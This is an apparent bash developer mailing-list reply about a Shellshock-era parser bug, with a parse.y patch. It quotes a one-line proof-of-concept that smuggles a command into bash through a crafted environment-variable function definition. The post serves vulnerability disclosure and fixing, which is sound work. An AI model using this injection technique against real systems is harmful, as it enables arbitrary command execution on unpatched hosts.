On 9/24/14, 6:50 PM, Wesley Hirsch wrote: > Also, you can embed arguments, allowing for arbitrary execution: > > $ env -i X='() { (a)=>\' bash -c 'echo curl -s https://bugzilla.redhat.com/'; > head echo > bash: X: line 1: syntax error near unexpected token `=' > bash: X: line 1: `'
This is an unrelated problem -- I can get to it via a different code path -- with a simple fix. I've attached it. Chet -- ``The lyf so short, the craft so long to lerne.'' - Chaucer ``Ars longa, vita brevis'' - Hippocrates Chet Ramey, ITS, CWRU c...@case.edu http://cnswww.cns.cwru.edu/~chet/
*** ../bash-20140912/parse.y 2014-08-26 15:09:42.000000000 -0400 --- parse.y 2014-09-24 22:47:28.000000000 -0400 *************** *** 2959,2962 **** --- 2959,2964 ---- word_desc_to_read = (WORD_DESC *)NULL; + eol_ungetc_lookahead = 0; + current_token = '\n'; /* XXX */ last_read_token = '\n';